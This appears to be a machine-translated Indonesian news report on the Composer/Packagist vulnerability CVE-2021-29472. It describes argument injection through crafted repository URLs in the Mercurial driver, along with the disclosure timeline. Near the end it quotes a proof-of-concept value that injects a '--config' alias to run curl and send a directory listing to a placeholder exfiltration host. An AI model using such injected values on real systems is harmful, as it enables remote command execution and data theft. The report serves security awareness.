Kerentanan dalam manajer paket Komposer yang memungkinkan repositori PHP Packagist disusupi

Kerentanan kritis (CVE-2021-29472) telah diidentifikasi di manajer ketergantungan Komposer yang memungkinkan perintah sewenang-wenang dijalankan pada sistem saat memproses paket dengan nilai URL yang diformat khusus yang menentukan alamat untuk mengunduh kode sumber. Masalah terjadi pada komponen GitDriver, SvnDriver, dan HgDriver yang digunakan saat menggunakan sistem kontrol sumber Git, Subversion, dan Mercurial. Kerentanan telah diatasi pada rilis Composer 1.10.22 dan 2.0.13.

Perlu dicatat secara khusus bahwa masalah ini terutama mempengaruhi repositori paket default Composer, Packagist, yang berisi 306 paket untuk pengembang PHP dan melayani lebih dari 1.4 miliar unduhan per bulan. Eksperimen menunjukkan bahwa jika ada pengetahuan tentang masalah tersebut, penyerang dapat memperoleh kendali atas infrastruktur Packagist dan mencegat kredensial pengelola atau mengalihkan unduhan paket ke server pihak ketiga, mengatur pengiriman varian paket dengan perubahan berbahaya untuk menggantikan pintu belakang. selama proses instalasi ketergantungan.

Bahaya bagi pengguna akhir terbatas pada fakta bahwa konten composer.json biasanya ditentukan oleh pengguna, dan tautan sumber dikirimkan saat mengakses repositori pihak ketiga, yang biasanya dapat dipercaya. Pukulan utama jatuh pada repositori Packagist.org dan layanan Private Packagist, yang disebut Composer dengan transfer data yang diterima dari pengguna. Penyerang dapat mengeksekusi kode mereka di server Packagist dengan menempatkan paket yang dirancang khusus.

Tim Packagist memperbaiki kerentanan dalam waktu 12 jam setelah kerentanan dilaporkan. Para peneliti secara pribadi memberi tahu pengembang Packagist pada tanggal 22 April, dan masalahnya diperbaiki pada hari yang sama. Pembaruan publik untuk Komposer yang mengatasi kerentanan ini diterbitkan pada tanggal 27 April, dengan rincian terungkap pada tanggal 28 April. Audit log di server Packagist tidak mengungkapkan aktivitas mencurigakan apa pun terkait kerentanan.

Masalahnya disebabkan oleh bug pada kode validasi URL di file root composer.json dan link download sumber. Kesalahan telah ada dalam kode sejak November 2011. Packagist menggunakan lapisan khusus untuk mengatur pemuatan kode tanpa terikat pada sistem kontrol sumber tertentu, yang dijalankan dengan memanggil “fromShellCommandline” dan meneruskan argumen baris perintah. Misalnya, untuk git, perintah "git ls-remote -heads $URL" dipanggil, di mana URL diproses menggunakan metode "ProcessExecutor::escape($url)", yang lolos dari konstruksi yang berpotensi berbahaya seperti "$(. ..)" atau "`...`".

Inti masalahnya adalah metode ProcessExecutor::escape tidak lolos dari urutan “—”, yang memungkinkan parameter panggilan tambahan ditentukan dalam URL. Pelarian seperti itu tidak ada di driver GitDriver.php, SvnDriver.php dan HgDriver.php. Serangan GitDriver.php terhambat oleh fakta bahwa perintah “git ls-remote” tidak mendukung penentuan argumen tambahan setelah jalur. Serangan terhadap HgDriver.php ternyata dimungkinkan dengan meneruskan parameter “--config” ke utilitas “hq”, yang memungkinkan Anda mengatur eksekusi perintah apa pun dengan memanipulasi pengaturan “alias.identify”. Misalnya, untuk mengunduh dan mengeksekusi kode dengan menjalankan utilitas curl, Anda dapat menentukan: —config=alias.identify=!curl http://exfiltrasi-host.tld —data “$(ls -alh)”

Dengan memposting paket pengujian dengan URL yang mirip dengan Packagist, para peneliti memverifikasi bahwa setelah memposting, server mereka menerima permintaan HTTP dari salah satu server Packagist di AWS yang berisi daftar file di direktori saat ini.

Sumber: opennet.ru

Tambah komentar